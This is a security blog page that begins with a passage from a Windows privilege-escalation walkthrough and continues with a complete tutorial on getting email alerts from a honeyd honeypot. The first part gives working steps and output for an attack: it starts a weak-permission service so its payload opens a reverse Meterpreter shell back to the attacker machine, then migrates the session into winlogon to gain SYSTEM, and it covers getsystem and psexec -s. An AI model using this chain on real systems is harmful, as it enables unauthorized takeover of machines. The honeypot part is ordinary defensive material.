Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service.

C:\Users\homer>wmic service ose call startservice

You should see similar output when you run this command.

Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice()

Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.

[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400

meterpreter >

Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended.

[*] Meterpreter session 1 closed.  Reason: Died

Back on the windows machine there’s also some output on the command prompt.

Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 7;
};

The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.

wmic process list brief | find "winlogon"

Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click “show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.

meterpreter > migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter >

Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion.

There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges.

Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.


meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h        Help Banner.
-t <opt>  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.


meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) >

Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.


msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

Now on our windows target machine let’s run our exploit.exe


c:\Users\homer\Desktop>exploit.exe

c:\Users\homer\Desktop>

Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.


[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400

meterpreter >

Now let’s try the “getsystem” command and see what happens.

meterpreter > getsystem

Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output.


meterpreter > getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter >

So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message.

This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.

c:\psexec.exe -s cmd.exe

After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user.

To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.

If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.

Honeypot / honeyd tutorial part 5, email alerts

February 14th, 2012

So this is the final article in this series of honeypots and honeyd and before I wrap it up I’ve gotta give big shout outs to Neils Provos the creator of honeyd. Neils has done an excellent job with the honeyd program and his book Virtual Honeypots is hands down the best book about honeypots and I highly recommend picking up a copy. While writing some of these tutorials Neils was even kind enough to answer some of my emails.

Up to this point you hopefully have an understanding on how to get honeyd up and running on your preferred hardware while having the ability to run multiple honeypots in either a static or dhcp environment. Now that everything is running smoothly and you’ve successfully tested all connectivity you’ll probably want to start getting alerts from some of the honeypots you’ve setup and deployed. I’ve written a small python script that accomplishes this for me so hopefully my explanation of the setup will get you receiving email alerts as well.

So out of the box honeyd doesn’t natively support getting emails sent to you when your device is port scanned. I really wanted this feature but had to figure out the best way of determining when my honeypot was being scanned. Honeyd has the option of creating a log file so my first idea was to parse this file for items of interest. Below is the command I would use to launch honeyd with the logging option.

honeyd -d -f honeyd.conf -l /tmp/logfile

You should see similar output as below after running the above command.

Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos
honeyd[12073]: started with -d -f honeyd.conf -l /tmp/logfile
Warning: Impossible SI range in Class fingerprint "IBM OS/400 V4R2M0"
Warning: Impossible SI range in Class fingerprint "Microsoft Windows NT 4.0 SP3"
honeyd[12073]: listening promiscuously on eth1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:0c:29:11:1e:53
honeyd[12073]: [eth1] trying DHCP
honeyd[12073]: Demoting process privileges to uid 65534, gid 65534
honeyd[12073]: [eth1] got DHCP offer: 192.168.134.147
honeyd[12073]: Updating ARP binding: 00:00:24:54:9e:06 -> 192.168.134.147
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -> 192.168.134.254
honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74

So this just created a honeypot with the IP address of 192.168.134.147. From another machine let’s port scan our honeypot, to keep the output simple I’m only going to scan one port.

root@tht:~# nmap -p 135 192.168.134.147

Starting Nmap 5.21 ( http://nmap.org ) at 2012-02-10 19:37 PST
Nmap scan report for 192.168.134.147
Host is up (0.0013s latency).
PORT STATE SERVICE
135/tcp open msrpc
MAC Address: 00:00:24:54:9E:06 (Connect AS)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

So port 135 is open so we know our configuration is working properly. Also honeyd will output information to the terminal letting you know that connections are being made to your honeypot. The information below was appended to the output from when we started honeyd.

1
2
3
4
5
6
7
8
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)
honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147
honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39
honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74

On line three we see a connection request from 192.168.134.143 to our honeypot at 192.168.134.147 and the “:135” after the IP address is the destination port so from this output we can verify everything is working and we’re getting the correct response from our port scan. You also see on line six that the connection from 192.168.134.143 to 192.168.134.147 was dropped. Now let’s take a look at our log file to see what kind of information about our port scan shows up. We’ll use the tail command in Linux, by default the tail command only shows the last 10 lines of a file although this can be adjusted.

1
2
3
4
5
6
7
8
9
10
11
root@bt:~# tail /tmp/logfile
2012-02-10-22:37:42.9749 udp(17) - 192.168.134.1 61712 224.0.0.252 5355: 60
2012-02-10-22:37:48.0504 udp(17) - 192.168.134.143 44907 192.168.134.2 53: 74
2012-02-10-22:37:48.0751 udp(17) - 192.168.134.2 53 192.168.134.143 44907: 74
2012-02-10-22:37:48.0799 tcp(6) S 192.168.134.143 49677 192.168.134.147 135
2012-02-10-22:37:48.0814 tcp(6) E 192.168.134.143 49677 192.168.134.147 135: 0 0
2012-02-10-22:38:00.0874 udp(17) - 192.168.134.1 57479 224.0.0.252 5355: 55
2012-02-10-22:38:02.9374 udp(17) - 192.168.134.1 64855 224.0.0.252 5355: 55
2012-02-10-22:38:09.9825 udp(17) - 192.168.134.1 57141 224.0.0.252 5355: 57
2012-02-10-22:38:13.2114 udp(17) - 192.168.134.1 60692 224.0.0.252 5355: 56
2012-02-10-22:38:16.0751 udp(17) - 192.168.134.1 57282 224.0.0.252 5355: 56

In the log file we see very similar information on lines 5 and 6 as we did in the standard output of the terminal. Turns out there’s a third location of output that we could tap into. All processes in Linux will probably display some kind of information into one of two system log files. Either the /var/log/messages or the /var/log/syslog file. Different distros of Linux will put this information into different locations but for the backtrack distro I know it goes into /var/log/syslog. Let’s tail this file to see what kind of information it holds.

1
2
3
4
5
6
7
8
9
10
Feb 10 22:36:53 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:36:53 bt honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -> 192.168.134.254
Feb 10 22:36:53 bt honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147
Feb 10 22:36:53 bt honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:37:48 bt honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)
Feb 10 22:37:48 bt honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147
Feb 10 22:37:48 bt honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39
Feb 10 22:37:48 bt honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)

On lines 7 and 10 we see similar information as we’ve seen in other areas. So when I decided to build an email alert script I had three sources of information I could pull from. I eventually went with combing through /var/log/syslog but I could have easily went a different route. For me /var/log/syslog seem to have more verbosity and better keywords but then again that’s just my opinion. My next step was to write a script that would parse /var/log/syslog then generate an email alert when it saw connections to my honeypot. I wrote my script in Python because I’m most familiar with that language and Python comes installed by default on most Linux distributions so whatever distro you decide to run honeyd on it’s more than likely Python will already be installed on that same operating system.

Before you implement any scripted email solution it’s a good idea to test email functionality with a small email script just to ensure you can properly communicate and receive email alerts. To do this you’ll need to know the name (FQDN) of your SMTP email server. You can usually find them in your email client. For Outlook you can go to File > Account Settings > Account Settings > Email tab > click on Change, there you’ll see the name of your organizations smtp server. Typically it’ll be something simple, if the email of your organization ends in example.com then your smtp server will likely be smtp.example.com. SMTP servers are usually configured to send emails in one of two ways, authenticated or unauthenticated. We’ll look at examples for both. The first example below is a python script of sending authentication credentials along with the request, in this particular I’m sending the alert to my gmail account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import smtplib
import time

From = 'someuser@gmail.com'
To = 'travisaltman@gmail.com'
Date = time.ctime()
Subject = 'test'
Text = 'test'

Message = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n%s\n' % (From, To, Date, Subject, Text))
username = 'someuser'
password = 'somepassword'

print ('Connecting to server')
s = smtplib.SMTP ('smtp.gmail.com')
s.starttls()
s.login(username,password)
sendMail = s.sendmail(From, To, Message)
s.quit

if sendMail:
  print ('error')
else:
  print ('great success')

Hopefully some of this script is easy to figure out, the main thing you need to be concerned with is lines 11,12, and 15. Lines 11 and 12 hold the username and password you’ll need to authenticate to your smtp server and line 15 is the name of your smtp server. More than likely your internal smtp server will not require authentication if that’s the case simply remove lines 11,12,16, and 17 from the script above. If you’re not sure first send the test email without authentication and if you get the error message “smtplib.SMTPSenderRefused” then more than likely you’ll need to provide credentials. If everything goes smooth running your test email script then you should see the output below, here I’ve named my script test.py.

root@tht:~# python test.py
Connecting to server
great success

Next you can implement the full email alerting script. Simply copy and paste the script below into your text editor of choice and name the script, I’ve named my alert.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import re
import time
import smtplib
import os

try:
  os.remove('/root/outputHoney')
except:
  pass

log = "/var/log/syslog"
output = 'outputHoney'

systemTime = time.ctime()
loggedDate = systemTime[4:10]
loggedYear = systemTime[20:24]
hostFile = '/etc/hostname'
readHostFile = open(hostFile, 'rU').readline();
extractHostName1 = readHostFile.split('"')
hostname = extractHostName1[0].rstrip()

file = open(log, 'rU').readlines();
for line in file:
if re.search(loggedDate, line):
  if re.search("192.168.1.55", line): #This if for any IP(s) you want to exclude
    ignore = ''
  elif re.search("Connection request", line):
    loggedTime = line[7:15]
    timeString = loggedDate + ' ' + loggedYear + ' ' + loggedTime
    timeTuple = time.strptime(timeString, '%b %d %Y %H:%M:%S')
    epochLogTime = int(time.mktime(timeTuple))
    epochSystemTime = int(time.time())
    if epochSystemTime <= epochLogTime+300:
      lineSplit1 = line.split('(')
      lineSplit2 = lineSplit1[1]
      lineSplit3 = lineSplit2.split(':')
      lineSplit4 = lineSplit2.split('-')
      lineSplit5 = lineSplit4[1]
      lineSplit6 = lineSplit5.split(':')
      destinationIP = lineSplit6[0]
      sourceIP = lineSplit3[0]
      srcAndDest = sourceIP + ' connected to ' + destinationIP
      file = open(output, 'w')
      file.writelines(srcAndDest)
      file.close
if os.path.exists('/root/outputHoney'):
  From = hostname+'@example.xxx'
  # To = ['user1@example.xxx','user2@example.xxx']
  To = 'travisaltman@gmail.com'
  Date = time.ctime()
  Subject = 'honeypot alert'
  username = 'someusername'
  password = 'somepassword'
  # IPSconnecting = open(output, 'r').read()
  Text = "A device at " + sourceIP + " is port scanning our honeypot at " \
  + destinationIP + ". This honeypot is being emulated on device " \
  + hostname + "."
  Message = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n%s\n' % (From, To, Date, Subject, Text))
  s = smtplib.SMTP ('smtp.gmail.com')
  s.starttls()
  s.login(username,password)
  sendMail = s.sendmail(From, To, Message)
  s.quit

I’m not a developer and I always mangle my scripts together so this isn’t the prettiest code. I’ll give you a run down of what this script does, if you have any specific questions please feel free to leave a comment I generally respond to comments fairly quickly. Basically the script combs through /var/log/syslog looking for the string “Connection request”. I’ve also confirmed that this script works just as well combing through /var/log/messages, you’ll have to verify which log your Linux distro is dumping this information. To test the script to make sure it works I would first port scan your honeypot from another device then simply run the python script to see if you get no errors and hopefully you get an email in your inbox, just run the following command after you’ve port scanned your honeypot.

python alert.py

This command should only run for maybe 10 seconds then return you to the command line. If you get any errors then you’ll have to trouble shoot the script, contact me if you need help with that. Just to give you an idea of what the email alert would look like I’ve got a screen shot of an alert I got sent to my gmail address below.

Currently the script only looks for “Connection request” in the last five minutes of log files so you’ll need to combo that up with running the script every five minutes, this can be done with Linux’s crontab. Cron can schedule programs to be run at certain frequencies. To set up alert.py to run every five minutes use the crontab command.

crontab -e

This opens up a text file in the terminal where you enter a specific syntax to tell cron which program you want to run and how often. Enter the text below to tell cron to run alert.py every five minutes.

*/5 * * * * /root/alert.py

Then use control+w to save your work and control+x to quit the text editor. So in the alert.py script the every five minutes comes from line 33 where 300 is seconds which equals five minutes so if you wanted to modify the time you could do it on that line. Another line in the script you may want to change is line 25, here you can add any IP’s that you want to ignore for whatever reason. You’ll definitely want to change line 55 that has the text of the email you’ll be receiving and customize that to your hearts content. Don’t forget to modify smtp server information and also remove or change the authentication piece as needed. Also in the screenshot you’ll notice that the device is “bt” which is short for backtrack. I implemented this feature because you may want to run honeyd on multiple devices throughout your network and you’ll want to know what device is sending you the email. The name of the device is determined in lines 17-20. You may have to modify that code because not all distros of Linux keep their hostname in that location and you may have to parse the text file that holds that hostname in a different manner. There’s more information that I could go into about the script but hopefully I’ve hit the major points if there’s something I missed or if you have any questions or feedback please leave comments.